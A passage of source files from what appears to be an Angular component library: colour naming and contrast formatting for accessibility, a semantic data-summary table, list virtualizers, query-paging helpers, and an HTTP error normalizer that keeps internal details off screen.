`4.47` printed as \"4.5:1\" next\n *    to a green \"AA\" badge is a component telling a designer their text passes\n *    when it does not, and the error is invisible precisely because the number\n *    looks like the threshold.\n */\nexport function svFormatRatio(ratio: number): string {\n  return `${(Math.floor(ratio * 10) / 10).toFixed(1)}:1`;\n}\n\n// ── Saying a colour out loud (FI-08-M2) ───────────────────────────────────────\n\n/**\n * A plain-English name for a colour.\n *\n * ★★★ `#3B82F6` IS NOT AN ANNOUNCEMENT. A screen reader reads a hex value one\n *     character at a time — \"number three B eight two F six\" — which tells a\n *     user nothing about what they just picked. \"Medium blue\" does.\n *\n * ★★ DERIVED, NOT LOOKED UP. A table of the 148 CSS colour names sounds more\n *    precise and announces worse: the nearest entry to a muted blue-grey is\n *    \"LightSlateGray\", which is a name for a hex code rather than a description\n *    of a colour. Hue bucket plus lightness and saturation qualifiers produces\n *    something a person can picture, and has no table to keep in step.\n *\n * ⚠️ ENGLISH ONLY, and there is no honest way around that here — a component\n *    cannot translate. Hosts that need another language pass their own namer;\n *    this is the default, not the policy.\n */\nexport function svColorName(hex: string): string {\n  const { r, g, b } = svHexToRgb(hex);\n  const max = Math.max(r, g, b) / 255;\n  const min = Math.min(r, g, b) / 255;\n  const l = (max + min) / 2;\n  const d = max - min;\n  const s = d === 0 ? 0 : d / (1 - Math.abs(2 * l - 1));\n\n  // Achromatic: no hue worth naming, so lightness is the whole description.\n  if (s < 0.08 || d < 0.02) {\n    if (l < 0.06) return 'black';\n    if (l > 0.95) return 'white';\n    if (l < 0.3) return 'dark grey';\n    if (l > 0.75) return 'light grey';\n    return 'grey';\n  }\n\n  const rn = r / 255, gn = g / 255, bn = b / 255;\n  let h: number;\n  if (max === rn)      h = ((gn - bn) / d) % 6;\n  else if (max === gn) h = (bn - rn) / d + 2;\n  else                 h = (rn - gn) / d + 4;\n  h = (h * 60 + 360) % 360;\n\n  const hue =\n    h < 15  ? 'red'     : h < 45  ? 'orange' : h < 70  ? 'yellow' :\n    h < 90  ? 'lime'    : h < 160 ? 'green'  : h < 190 ? 'teal'   :\n    h < 210 ? 'cyan'    : h < 250 ? 'blue'   : h < 280 ? 'indigo' :\n    h < 310 ? 'purple'  : h < 340 ? 'magenta' : 'red';\n\n  // ★ Lightness first, then saturation, because that is the order people say\n  //   them: \"pale dusty blue\", never \"dusty pale blue\".\n  const light =\n    l < 0.2  ? 'very dark ' : l < 0.38 ? 'dark ' :\n    l > 0.88 ? 'very pale ' : l > 0.72 ? 'pale ' : '';\n  const sat = s < 0.25 ? 'muted ' : s > 0.85 ? 'vivid ' : '';\n\n  return `${light}${sat}${hue}`.trim();\n}\n","import { ChangeDetectionStrategy, Component, computed, input } from '@angular/core';\nimport type { SvDataSummary } from './data-summary';\n\ndeclare const ngDevMode: boolean | undefined;\n\n/**\n * DataSummaryTable — the semantic equivalent of a visual surface, in one place.\n *\n * Gantt, Kanban, Widget Grid, Heatmap Calendar, Pivot, Tree, Timeline, Image\n * Gallery and nine chart families all need the same thing: a table saying what\n * the picture says. Written per family it was written four times and skipped\n * eight, and each copy re-learned the same CSS lesson the hard way (see the\n * stylesheet). Written once it is one component, one set of rules, one place to\n * fix.\n *\n * The surface computes the rows, because only it knows what a row means:\n *\n * ```html\n * <sv-data-summary-table [summary]=\"a11ySummary()\" />\n * ```\n *\n * ```ts\n * protected readonly a11ySummary = computed<SvDataSummary>(() => ({\n *   caption: `Tasks in ${this.projectName()}`,\n *   columns: ['Task', 'Start', 'End', 'Progress'],\n *   rows: this.visibleTasks().map((t) => ({\n *     key: t.id,\n *     header: t.title,\n *     cells: [this.fmtDate(t.start), this.fmtDate(t.end), `${t.progress ?? 0}%`],\n *   })),\n * }));\n * ```\n *\n * It renders nothing when there are no rows: an empty table announces a table\n * and then nothing, which is worse than the surface's own empty state.\n */\n@Component({\n  selector: 'sv-data-summary-table',\n  standalone: true,\n  templateUrl: './data-summary-table.component.html',\n  styleUrl: './data-summary-table.component.css',\n  changeDetection: ChangeDetectionStrategy.OnPush,\n})\nexport class SvDataSummaryTableComponent {\n  /** Caption, column labels and rows — see `SvDataSummary`. */\n  readonly summary = input.required<SvDataSummary>();\n\n  protected readonly rows = computed(() => this.summary().rows);\n\n  /**\n   * A caption is not decoration: it is how a listener knows which of a\n   * dashboard's tables they have landed in. Missing, this component quietly\n   * publishes an anonymous one — so say so where it can be fixed, in dev only.\n   */\n  protected readonly caption = computed(() => {\n    const { caption, rows } = this.summary();\n    const trimmed = caption.trim();\n    if (typeof ngDevMode !== 'undefined' && ngDevMode && rows.length && !trimmed) {\n      console.warn('[sv-data-summary-table] rows with no caption — a listener cannot tell this table from any other on the page.');\n    }\n    // Trimmed, so a whitespace caption is no caption. An empty `<caption>`\n    // element announces the table as having a name and then reads nothing.\n    return trimmed;\n  });\n}\n","@if (rows().length) {\n  <div class=\"sv-summary\">\n    @if (summary().overview) {\n      <p>{{ summary().overview }}</p>\n    }\n    <table>\n      @if (caption()) {\n        <caption>{{ caption() }}</caption>\n      }\n      <thead>\n        <tr>\n          <!-- `track $index`: a pivot's column labels repeat across groups. -->\n          @for (label of summary().columns; track $index) {\n            <th scope=\"col\">{{ label }}</th>\n          }\n        </tr>\n      </thead>\n      <tbody>\n        @for (row of rows(); track row.key) {\n          <tr>\n            <th scope=\"row\">{{ row.header }}</th>\n            @for (cell of row.cells; track $index) {\n              <td>{{ cell }}</td>\n            }\n          </tr>\n        }\n      </tbody>\n    </table>\n  </div>\n}\n","/**\n * The tabular equivalent of a visual surface.\n *\n * A Gantt chart, a Kanban board, a heatmap calendar and a treemap have one\n * problem in common: the information is in the geometry. Marking up every bar,\n * card and cell with a role describes the drawing, not the data — a listener\n * gets four hundred announcements and no answer to \"which tasks slip past\n * Friday?\". What works is one semantic table alongside the picture, saying the\n * same thing in rows.\n *\n * The surface owns the mapping, because only it knows what a row means and how\n * to format a value. This module owns the shape they all map into.\n */\n\n/**\n * One row of the summary: a header cell that names the item, then a value per\n * data column.\n *\n * `cells` are strings, already formatted. Dates, durations, currencies and\n * percentages belong to the surface — it has the locale, the format inputs and\n * the domain — and a formatting layer here would end up a second, worse copy of\n * each family's own.\n */\nexport interface SvSummaryRow {\n  /** Stable identity for `track`. The item's own id, not its index. */\n  readonly key: string;\n  /** What the row is: a task title, a card title, a date. Rendered as `<th scope=\"row\">`. */\n  readonly header: string;\n  /** One formatted value per data column, in `columns` order after the first. */\n  readonly cells: readonly string[];\n}\n\n/**\n * A whole summary: what the table is called, its column labels, and its rows.\n *\n * Grouped into one object rather than three inputs because a surface computes\n * all three together from the same state, and a caption that disagrees with the\n * rows it labels is worse than none.\n */\nexport interface SvDataSummary {\n  /**\n   * What this table is, as a sentence fragment — `'Tasks in Website relaunch'`.\n   * Rendered as the `<caption>`, which is how a listener knows what they have\n   * landed in before reading any of it.\n   */\n  readonly caption: string;\n  /**\n   * Column labels, including the first one, which labels the row headers —\n   * `['Task', 'Start', 'End', 'Progress']`.\n   */\n  readonly columns: readonly string[];\n  /** The rows, in the order a reader should meet them. */\n  readonly rows: readonly SvSummaryRow[];\n  /**\n   * One line of prose read before the table: `'18 tasks, 3 finishing late.'`\n   *\n   * Optional, and worth writing when the picture makes a point that the rows\n   * only imply. An overview that just counts the rows is noise.\n   */\n  readonly overview?: string;\n}\n\n/** An empty summary — nothing to describe, so nothing is rendered. */\nexport const SV_EMPTY_SUMMARY: SvDataSummary = { caption: '', columns: [], rows: [] };\n","import { computed, signal, type Signal, type WritableSignal } from '@angular/core';\n\n/**\n * Half-open slice of a list that is worth rendering: `[start, end)`.\n *\n * `end` is exclusive, so it feeds `Array.prototype.slice` directly and an empty\n * window is expressed as `start === end` rather than a negative length.\n */\nexport interface VirtualRange {\n  readonly start: number;\n  /** Exclusive. */\n  readonly end: number;\n}\n\n/**\n * Fires when a scroll leaves the viewport within `nearEndThreshold` px of the\n * bottom of the scrollable content — the generic \"the user is close to\n * running out of rows\" signal that infinite-scroll is built on.\n *\n * ★ Fires unconditionally on every qualifying scroll event, with no notion of\n * \"is a page already loading\" or \"does the server have more\" — those are the\n * caller's concerns (`list-view`'s `hasMore` / `loadingMore` / an in-tick\n * guard against a burst of scroll events), same as before this was shared.\n * A primitive that also tried to own pagination state would need to know\n * about `loadMore` events, request lifecycles and per-consumer retry policy —\n * exactly the coupling `createVirtualizer` has otherwise never had.\n */\nexport interface NearEndOptions {\n  /** Called when the scroll position satisfies the threshold below. */\n  readonly onNearEnd?: () => void;\n  /** Distance from the bottom, in pixels, that counts as \"near\". @default 100 */\n  readonly nearEndThreshold?: Signal<number>;\n}\n\n/** Signals a virtualizer reads. All are read lazily, inside `computed`. */\nexport interface VirtualizerOptions<T> extends NearEndOptions {\n  /** The full, already-filtered list. Only a window of it is ever rendered. */\n  readonly items: Signal<readonly T[]>;\n  /** Row height in pixels. Values ≤ 0 or non-finite fall back to 1. */\n  readonly itemHeight: Signal<number>;\n  /** Height of the scrolling viewport in pixels. */\n  readonly viewportHeight: Signal<number>;\n  /** Extra rows rendered above and below the viewport. @default 2 */\n  readonly overscan?: Signal<number>;\n  /** When false, the whole list is returned unwindowed. @default true */\n  readonly enabled?: Signal<boolean>;\n}\n\n/** Windowing state derived from a scroll position. Every member is a signal. */\nexport interface Virtualizer<T> {\n  /** The slice of `items` currently worth rendering. */\n  readonly range: Signal<VirtualRange>;\n  /** `items` narrowed to `range`. */\n  readonly items: Signal<readonly T[]>;\n  /** Height of the full list — the scrollable extent. */\n  readonly totalHeight: Signal<number>;\n  /** Height of the spacer that stands in for the rows above `range`. */\n  readonly topSpacer: Signal<number>;\n  /** Height of the spacer that stands in for the rows below `range`. */\n  readonly bottomSpacer: Signal<number>;\n  /** Current scroll offset in pixels, clamped to ≥ 0. */\n  readonly scrollTop: Signal<number>;\n\n  /** Set the scroll offset directly. */\n  setScrollTop(px: number): void;\n  /** Bind to `(scroll)` on the viewport element. */\n  onScroll(event: Event): void;\n  /** Pixel offset of a row — for scroll-to-index. */\n  offsetOf(index: number): number;\n}\n\nconst ALWAYS_ENABLED: Signal<boolean> = computed(() => true);\nconst DEFAULT_OVERSCAN: Signal<number> = computed(() => 2);\nconst DEFAULT_NEAR_END_THRESHOLD: Signal<number> = computed(() => 100);\n\n/** Coerce to a finite number ≥ `min`, so a bad input can't poison the maths. */\nfunction atLeast(value: number, min: number): number {\n  return Number.isFinite(value) && value > min ? value : min;\n}\n\n/**\n * Shape of the DOM properties `onScroll`/near-end read off the event target.\n * A structural type, not `HTMLElement`, so a test can pass a plain object —\n * `list-view.scrolling.spec.ts` already relies on exactly this for jsdom,\n * where every element's geometry defaults to 0.\n */\ninterface ScrollGeometry {\n  readonly scrollTop: number;\n  readonly clientHeight?: number;\n  readonly scrollHeight?: number;\n}\n\n/**\n * The `scrollTop` / `setScrollTop` / `onScroll` triplet, shared by every\n * virtualizer variant so the iOS-bounce clamp, the non-finite guard and the\n * near-end firing are written and tested exactly once.\n */\nfunction createScrollState(near: NearEndOptions): {\n  readonly scrollTop: WritableSignal<number>;\n  readonly setScrollTop: (px: number) => void;\n  readonly onScroll: (event: Event) => void;\n} {\n  const threshold = near.nearEndThreshold ?? DEFAULT_NEAR_END_THRESHOLD;\n  const scrollTop = signal(0);\n\n  const setScrollTop = (px: number): void => {\n    scrollTop.set(Number.isFinite(px) ? Math.max(0, px) : 0);\n  };\n\n  const maybeFireNearEnd = (target: ScrollGeometry | null): void => {\n    if (!near.onNearEnd || !target) return;\n    const clientHeight = target.clientHeight ?? 0;\n    const scrollHeight = target.scrollHeight ?? 0;\n    // ★ Same shape as the inline check this replaced in `list-view`: within\n    // `threshold` px of the bottom of the scrollable content. `scrollHeight`\n    // of 0 (an untested/mocked element) never satisfies this unless\n    // `scrollTop` is also 0, which a real \"near the bottom\" gesture is not.\n    if (target.scrollTop + clientHeight >= scrollHeight - Math.max(0, threshold())) {\n      near.onNearEnd();\n    }\n  };\n\n  return {\n    scrollTop,\n    setScrollTop,\n    onScroll: (event: Event) => {\n      // Overscroll bounce reports a negative offset on iOS; clamp it.\n      const el = event.target as ScrollGeometry | null;\n      scrollTop.set(Math.max(0, el?.scrollTop ?? 0));\n      maybeFireNearEnd(el);\n    },\n  };\n}\n\n/**\n * Fixed-height list virtualization, as a set of derived signals.\n *\n * Renders only the rows near the viewport and pads the rest with two spacer\n * elements, so a 50,000-row list costs the same as a 20-row one. Fixed row\n * height is the deliberate trade: it makes every position a multiplication, so\n * there is no measurement pass, no `ResizeObserver`, and no layout thrash.\n *\n * This is a plain factory, not a service or a directive — it needs no injection\n * context and can be called straight from a field initializer:\n *\n * ```ts\n * protected readonly virtual = createVirtualizer({\n *   items: this.rows,\n *   itemHeight: this.rowHeight,\n *   viewportHeight: this.viewportHeight,\n *   overscan: this.overscan,\n *   enabled: this.isVirtualized,\n * });\n * ```\n *\n * ```html\n * <div [style.height.px]=\"viewportHeight()\" (scroll)=\"virtual.onScroll($event)\"\n *      class=\"overflow-y-auto\">\n *   <div [style.height.px]=\"virtual.totalHeight()\">\n *     <div [style.height.px]=\"virtual.topSpacer()\"></div>\n *     @for (row of virtual.items(); track row.id) { … }\n *     <div [style.height.px]=\"virtual.bottomSpacer()\"></div>\n *   </div>\n * </div>\n * ```\n *\n * When `enabled` is false the range spans the whole list, so the same template\n * serves both the windowed and unwindowed cases.\n */\nexport function createVirtualizer<T>(options: VirtualizerOptions<T>): Virtualizer<T> {\n  const overscan = options.overscan ?? DEFAULT_OVERSCAN;\n  const enabled = options.enabled ?? ALWAYS_ENABLED;\n\n  const { scrollTop, setScrollTop, onScroll } = createScrollState(options);\n\n  /** Row height, guaranteed positive — a zero would divide by zero below. */\n  const rowHeight = computed(() => atLeast(options.itemHeight(), 1));\n\n  const range = computed<VirtualRange>(() => {\n    const total = options.items().length;\n    if (!enabled()) return { start: 0, end: total };\n\n    const height = rowHeight();\n    const viewport = Math.max(0, options.viewportHeight());\n    const pad = Math.max(0, Math.floor(overscan()));\n\n    // Clamp to the scrollable extent. If the list shrinks while the user is\n    // scrolled near the bottom, the raw offset briefly points past the end —\n    // without this the window would be empty until the next scroll event.\n    const top = Math.min(scrollTop(), Math.max(0, total * height - viewport));\n\n    // Round the first row down and the last row up: a viewport that does not\n    // align to a row boundary shows a partial row at each edge, and both must\n    // be rendered or the list has visible gaps when overscan is 0.\n    const first = Math.floor(top / height);\n    const last = Math.ceil((top + viewport) / height);\n\n    const start = Math.min(Math.max(first - pad, 0), total);\n    const end = Math.min(Math.max(last + pad, start), total);\n\n    return { start, end };\n  });\n\n  const windowed = computed<readonly T[]>(() => {\n    const { start, end } = range();\n    const all = options.items();\n    return start === 0 && end === all.length ? all : all.slice(start, end);\n  });\n\n  return {\n    range,\n    items: windowed,\n    totalHeight: computed(() => options.items().length * rowHeight()),\n    topSpacer: computed(() => range().start * rowHeight()),\n    bottomSpacer: computed(() => {\n      const trailing = Math.max(0, options.items().length - range().end);\n      return trailing * rowHeight();\n    }),\n    scrollTop: scrollTop.asReadonly(),\n\n    setScrollTop,\n    onScroll,\n    offsetOf: (index: number) => Math.max(0, index) * rowHeight(),\n  };\n}\n\n// ── Variable-height virtualization ──────────────────────────────────────────\n\n/** Signals a variable-height virtualizer reads. */\nexport interface VariableVirtualizerOptions<T> extends NearEndOptions {\n  /** The full, already-filtered list. Only a window of it is ever rendered. */\n  readonly items: Signal<readonly T[]>;\n  /**\n   * Height of row `index`, in pixels, given the item at that row. Called once\n   * per row on every recompute — same cost class as a `@for` template\n   * re-rendering its rows, not a per-frame cost. Values ≤ 0 or non-finite\n   * fall back to 1, same as the fixed-height guard.\n   */\n  readonly itemSize: Signal<(index: number, item: T) => number>;\n  /** Height of the scrolling viewport in pixels. */\n  readonly viewportHeight: Signal<number>;\n  /** Extra rows rendered above and below the viewport. @default 2 */\n  readonly overscan?: Signal<number>;\n  /** When false, the whole list is returned unwindowed. @default true */\n  readonly enabled?: Signal<boolean>;\n}\n\n/**\n * Smallest index in `[0, sorted.length)` whose value is `>= target` — the\n * standard binary-search \"lower bound\". `sorted.length` if none qualifies.\n */\nfunction lowerBound(sorted: readonly number[], target: number): number {\n  let lo = 0;\n  let hi = sorted.length;\n  while (lo < hi) {\n    const mid = (lo + hi) >>> 1;\n    if (sorted[mid] < target) lo = mid + 1;\n    else hi = mid;\n  }\n  return lo;\n}\n\n/**\n * Smallest index in `[0, sorted.length)` whose value is `> target` — the\n * standard binary-search \"upper bound\". `sorted.length` if none qualifies.\n */\nfunction upperBound(sorted: readonly number[], target: number): number {\n  let lo = 0;\n  let hi = sorted.length;\n  while (lo < hi) {\n    const mid = (lo + hi) >>> 1;\n    if (sorted[mid] <= target) lo = mid + 1;\n    else hi = mid;\n  }\n  return lo;\n}\n\n/**\n * Variable-height list virtualization — `createVirtualizer`'s sibling for\n * rows that are not all the same height (a data-table's group-header rows\n * among its data rows; a call-history entry with a note under it next to one\n * without). Same returned shape, same template, same scroll/near-end\n * behaviour — swapping `itemHeight` for `itemSize` is the only call-site\n * change, so a consumer is never forced to choose between the two up front.\n *\n * ## The cost this adds, honestly\n *\n * Fixed-height virtualization is one multiplication per lookup; there is\n * nothing to measure. Variable height cannot avoid knowing every row's size,\n * so this builds a prefix-sum array of cumulative offsets on every `items()`\n * or `itemSize()` change — O(n) to build, O(log n) per range lookup via\n * binary search. For the list sizes virtualization exists to help (thousands\n * of rows, not millions) this is unmeasurable; it is not free, and pretending\n * otherwise would be the same shortcut the fixed-height version explicitly\n * refuses to take in the other direction.\n */\nexport function createVariableVirtualizer<T>(options: VariableVirtualizerOptions<T>): Virtualizer<T> {\n  const overscan = options.overscan ?? DEFAULT_OVERSCAN;\n  const enabled = options.enabled ?? ALWAYS_ENABLED;\n\n  const { scrollTop, setScrollTop, onScroll } = createScrollState(options);\n\n  /**\n   * Cumulative offsets, length `items().length + 1`. `offsets[i]` is the\n   * pixel position row `i` starts at; `offsets[n]` is the total height. Row\n   * `i` occupies `[offsets[i], offsets[i + 1])`, so both are exactly what the\n   * binary searches below need and what `offsetOf`/`topSpacer` return as-is.\n   */\n  const offsets = computed<readonly number[]>(() => {\n    const items = options.items();\n    const size = options.itemSize();\n    const out = new Array<number>(items.length + 1);\n    out[0] = 0;\n    for (let i = 0; i < items.length; i++) {\n      out[i + 1] = out[i] + atLeast(size(i, items[i]), 1);\n    }\n    return out;\n  });\n\n  const totalHeight = computed(() => offsets().at(-1) ?? 0);\n\n  const range = computed<VirtualRange>(() => {\n    const total = options.items().length;\n    if (!enabled() || total === 0) return { start: 0, end: total };\n\n    const table = offsets();\n    const viewport = Math.max(0, options.viewportHeight());\n    const pad = Math.max(0, Math.floor(overscan()));\n\n    // Clamp to the scrollable extent — same reasoning as the fixed-height\n    // version: a list that just shrank must not leave the window pointing\n    // past the end until the next scroll event arrives.\n    const top = Math.min(scrollTop(), Math.max(0, totalHeight() - viewport));\n\n    // The row containing `top`: the last row whose offset is `<= top`.\n    const first = upperBound(table, top) - 1;\n    // The first row entirely past the viewport's bottom edge.\n    const last = lowerBound(table, top + viewport);\n\n    const start = Math.min(Math.max(first - pad, 0), total);\n    const end = Math.min(Math.max(last + pad, start), total);\n\n    return { start, end };\n  });\n\n  const windowed = computed<readonly T[]>(() => {\n    const { start, end } = range();\n    const all = options.items();\n    return start === 0 && end === all.length ? all : all.slice(start, end);\n  });\n\n  const offsetOf = (index: number): number => {\n    const table = offsets();\n    const clamped = Math.min(Math.max(index, 0), table.length - 1);\n    return table[clamped];\n  };\n\n  return {\n    range,\n    items: windowed,\n    totalHeight,\n    topSpacer: computed(() => offsetOf(range().start)),\n    bottomSpacer: computed(() => totalHeight() - offsetOf(range().end)),\n    scrollTop: scrollTop.asReadonly(),\n\n    setScrollTop,\n    onScroll,\n    offsetOf,\n  };\n}\n","import type { SvDataQuery, SvSort } from './types';\n\n/**\n * A query asking for the first page with nothing sorted, filtered or searched.\n * Frozen — it is shared, and a component mutating it would poison every other.\n */\nexport const SV_DEFAULT_QUERY: SvDataQuery = Object.freeze({\n  page: 1,\n  pageSize: 10,\n  sorts: Object.freeze([]) as readonly SvSort[],\n  filters: Object.freeze({}) as Readonly<Record<string, string>>,\n  search: '',\n  cursor: null,\n});\n\n/**\n * Build a query from a partial, filling the rest from `SV_DEFAULT_QUERY`.\n *\n * ```ts\n * createQuery({ pageSize: 25, sorts: [{ key: 'created', direction: 'desc' }] })\n * ```\n */\nexport function createQuery(patch: Partial<SvDataQuery> = {}): SvDataQuery {\n  return { ...SV_DEFAULT_QUERY, ...patch };\n}\n\n/**\n * Apply a change to a query, resetting to page 1 whenever the result set itself\n * changes shape.\n *\n * This is the rule every component gets wrong on its own: changing a filter\n * while on page 7 asks the server for page 7 of a result set that may only have\n * two pages, and the user sees an empty table. Sorting is the exception —\n * re-sorting keeps you on the same page by convention in every data grid.\n * An explicit `page` in the patch always wins.\n */\nexport function patchQuery(base: SvDataQuery, patch: Partial<SvDataQuery>): SvDataQuery {\n  const resetsPaging =\n    ('filters' in patch || 'search' in patch || 'pageSize' in patch) && !('page' in patch);\n\n  const next: SvDataQuery = { ...base, ...patch };\n  // A cursor from the previous result set is meaningless once the query changes.\n  return resetsPaging ? { ...next, page: 1, cursor: null } : next;\n}\n\n/** Structural equality for sort lists — order is significant. */\nfunction sortsEqual(a: readonly SvSort[], b: readonly SvSort[]): boolean {\n  if (a === b) return true;\n  if (a.length !== b.length) return false;\n  return a.every((s, i) => s.key === b[i].key && s.direction === b[i].direction);\n}\n\n/** Structural equality for filter maps, ignoring key order. */\nfunction filtersEqual(\n  a: Readonly<Record<string, string>>,\n  b: Readonly<Record<string, string>>,\n): boolean {\n  if (a === b) return true;\n  const ak = Object.keys(a);\n  const bk = Object.keys(b);\n  return ak.length === bk.length && ak.every((k) => a[k] === b[k]);\n}\n\n/**\n * Whether two queries ask for the same thing.\n *\n * Guard every `queryChange` emission with this. Without it, a host that stores\n * the query and binds it back in — the normal, correct way to make the query\n * controllable — gets an emit → bind → emit loop that hammers the API. Object\n * identity is not enough: a component rebuilding its filters map produces a new\n * object with identical contents on every keystroke.\n */\nexport function queriesEqual(a: SvDataQuery, b: SvDataQuery): boolean {\n  return (\n    a === b ||\n    (a.page === b.page &&\n      a.pageSize === b.pageSize &&\n      a.search === b.search &&\n      a.cursor === b.cursor &&\n      sortsEqual(a.sorts, b.sorts) &&\n      filtersEqual(a.filters, b.filters))\n  );\n}\n\n/**\n * Toggle a column's sort the way a data grid header does: unsorted → asc →\n * desc → unsorted.\n *\n * With `multi`, the column joins the existing sorts (last-clicked lowest\n * priority, matching every grid the buyer's users have already used); without\n * it, it replaces them.\n */\nexport function toggleSort(\n  sorts: readonly SvSort[],\n  key: string,\n  multi = false,\n): readonly SvSort[] {\n  const existing = sorts.find((s) => s.key === key);\n  const others = multi ? sorts.filter((s) => s.key !== key) : [];\n\n  if (!existing) return [...others, { key, direction: 'asc' }];\n  if (existing.direction === 'asc') return [...others, { key, direction: 'desc' }];\n  return others;\n}\n","import type { SvDataError } from './types';\n\n/** Shape of an `HttpErrorResponse` without importing `@angular/common/http`. */\ninterface HttpLikeError {\n  readonly status?: unknown;\n  readonly statusText?: unknown;\n  readonly message?: unknown;\n  readonly error?: unknown;\n  /** `HttpHeaders`, duck-typed: only `get` is needed, and only if present. */\n  readonly headers?: { readonly get?: (name: string) => string | null };\n}\n\n/**\n * Body fields APIs use for a correlation id, most specific first.\n *\n * ★ `id` is LAST and deliberately last: plenty of error bodies use it for the\n *   id of the thing that failed rather than of the request, so it is a\n *   fallback rather than a first guess.\n */\nconst REFERENCE_FIELDS = [\n  'requestId',\n  'request_id',\n  'traceId',\n  'trace_id',\n  'correlationId',\n  'correlation_id',\n  'errorId',\n  'error_id',\n  'reference',\n  'incidentId',\n  'id',\n] as const;\n\n/**\n * Headers that carry one. Checked AFTER the body.\n *\n * ★★ THE BODY WINS OVER THE HEADER when both exist, because the body's id was\n *    chosen by the code that knows about the error while the header's is\n *    usually stamped by a proxy for every request alike — and a per-request\n *    id from the edge is the less useful of the two when support goes looking.\n */\nconst REFERENCE_HEADERS = [\n  'x-request-id',\n  'x-correlation-id',\n  'x-trace-id',\n  'x-amzn-requestid',\n  'traceparent',\n] as const;\n\n/** Pull a correlation id out of an error body, if it has one. */\nfunction referenceFromBody(body: unknown): string | undefined {\n  if (!isObject(body)) return undefined;\n  for (const field of REFERENCE_FIELDS) {\n    const v = body[field];\n    if (typeof v === 'string' && v.trim()) return v.trim();\n    // ★ A numeric id is still an id. Servers send both, and rejecting a number\n    //   means dropping the reference for the ones that send it that way.\n    if (typeof v === 'number' && Number.isFinite(v)) return String(v);\n  }\n  return undefined;\n}\n\n/** …or out of its response headers. */\nfunction referenceFromHeaders(e: HttpLikeError): string | undefined {\n  const get = e.headers?.get;\n  if (typeof get !== 'function') return undefined;\n  for (const name of REFERENCE_HEADERS) {\n    let value: string | null = null;\n    try {\n      // ★ Guarded: `headers` is whatever the host's HTTP layer put there, and\n      //   an error page is the worst place to throw a second error.\n      value = get.call(e.headers, name);\n    } catch { value = null; }\n    if (typeof value === 'string' && value.trim()) return value.trim();\n  }\n  return undefined;\n}\n\n/** Statuses where retrying the same request can plausibly succeed. */\nconst RETRYABLE = new Set([0, 408, 425, 429, 500, 502, 503, 504]);\n\nconst isObject = (v: unknown): v is Record<string, unknown> =>\n  typeof v === 'object' && v !== null;\n\n/**\n * Pull the most useful human-readable string out of a server error body.\n * APIs disagree on the field name, so try the common ones in order of how\n * specific they usually are.\n */\nfunction messageFromBody(body: unknown): string {\n  if (typeof body === 'string') return displayable(body);\n  if (!isObject(body)) return '';\n  for (const field of ['message', 'error', 'detail', 'title'] as const) {\n    const v = body[field];\n    if (typeof v === 'string') {\n      const text = displayable(v);\n      if (text) return text;\n    }\n  }\n  return '';\n}\n\n/** Longest server string shown verbatim; anything longer is a dump, not a sentence. */\nconst MAX_DISPLAY_LENGTH = 300;\n\n/**\n * `SvDataError.message` is documented as SAFE TO DISPLAY (`OF-16-I6`), so a\n * string that is plainly not a sentence meant for a user is refused and the\n * caller falls through to the next candidate. Refused: markup (a proxy's HTML\n * 502 page), stack traces, and anything past `MAX_DISPLAY_LENGTH`.\n */\nfunction displayable(raw: string): string {\n  const text = raw.trim();\n  if (!text || text.length > MAX_DISPLAY_LENGTH) return '';\n  if (/^<|<\\/?[a-z][\\s\\S]*>/i.test(text)) return '';\n  if (/\\n\\s*at\\s+\\S|^\\w*(Error|Exception):.*\\n/.test(text)) return '';\n  return text;\n}\n\n/**\n * Angular's own `HttpErrorResponse.message` — `Http failure response for\n * https://internal-host/api/orders: 500 …` — names the request URL, which is\n * an internal hostname leak on screen (`OF-16-I6`). It is never shown.\n */\nconst FRAMEWORK_HTTP_MESSAGE = /^Http failure (response|during parsing) for /i;\n\n/**\n * `statusText` values Angular invents rather than receives. HTTP/2 and `fetch`\n * carry no reason phrase, so Angular fills in `'OK'` — which, once the\n * framework message above is skipped, would put \"OK\" on an error screen. A\n * network failure and a timeout get `'Unknown Error'` / `'Request timeout'`.\n * None says more than the caller's `fallbackMessage`, so all three fall through to it.\n */\nconst ANGULAR_PLACEHOLDER_STATUS = new Set(['OK', 'Unknown Error', 'Request timeout']);\n\n/**\n * Normalize anything thrown into a renderable `SvDataError`.\n *\n * Handles `HttpErrorResponse`, `Error`, a plain string, and an already-normalized\n * `SvDataError` (returned unchanged). Anything unrecognized becomes a generic\n * message rather than `[object Object]` on screen.\n *\n * `retryable` is inferred from the status: a 404 or a 403 will fail identically\n * on retry, so offering \"Try again\" for them is a lie. Pass `fallbackMessage`\n * when the calling context can say something better than \"Something went wrong\".\n *\n * ```ts\n * this.http.get<Page>(url).subscribe({\n *   error: (e) => this.error.set(toSvDataError(e, 'Could not load orders.')),\n * });\n * ```\n */\nexport function toSvDataError(cause: unknown, fallbackMessage = 'Something went wrong.'): SvDataError {\n  if (isSvDataError(cause)) return cause;\n\n  if (typeof cause === 'string') {\n    return { message: displayable(cause) || fallbackMessage, retryable: true, cause };\n  }\n\n  if (isObject(cause)) {\n    const e = cause as HttpLikeError;\n    const status = typeof e.status === 'number' ? e.status : undefined;\n\n    // Prefer the server's own words, then the framework's, then the caller's.\n    const message =\n      messageFromBody(e.error) ||\n      (typeof e.message === 'string' && !FRAMEWORK_HTTP_MESSAGE.test(e.message.trim())\n        ? displayable(e.message)\n        : '') ||\n      (typeof e.statusText === 'string' && !ANGULAR_PLACEHOLDER_STATUS.has(e.statusText.trim())\n        ? displayable(e.statusText)\n        : '') ||\n      fallbackMessage;\n\n    return {\n      message,\n      status,\n      retryable: status === undefined ? true : RETRYABLE.has(status),\n      reference: referenceFromBody(e.error) ?? referenceFromHeaders(e),\n      cause,\n    };\n  }\n\n  return { message: fallbackMessage, retryable: true, cause };\n}\n\n/**\n * Type guard for an already-normalized error.\n *\n * Two things have to hold, and both are load-bearing.\n *\n * It must be a *plain* object: `new Error('x')` and `HttpErrorResponse` both\n * have a string `message`, so a duck-type check alone lets them through\n * un-normalized, arriving with no `retryable` flag.\n *\n * And it must carry a boolean `retryable`. That flag *is* the normalization —\n * it is the one field `toSvDataError` derives rather than copies. Without this\n * check, a server's own JSON error body (`{ message: 'Not found', status: 404 }`\n * is a completely ordinary shape) passes the guard, is returned untouched, and\n * reaches the UI with `retryable` undefined — which {@link isRetryable} then\n * reads as *true*. The result is a \"Try again\" button on a 404, which will fail\n * identically every time the user presses it.\n */\nexport function isSvDataError(value: unknown): value is SvDataError {\n  if (!isObject(value) || typeof value['message'] !== 'string') return false;\n  if (typeof value['retryable'] !== 'boolean') return false;\n  const proto: unknown = Object.getPrototypeOf(value);\n  return (proto === Object.prototype || proto === null) && !('statusText' in value);\n}\n\n/**\n * Whether the UI should offer a retry. 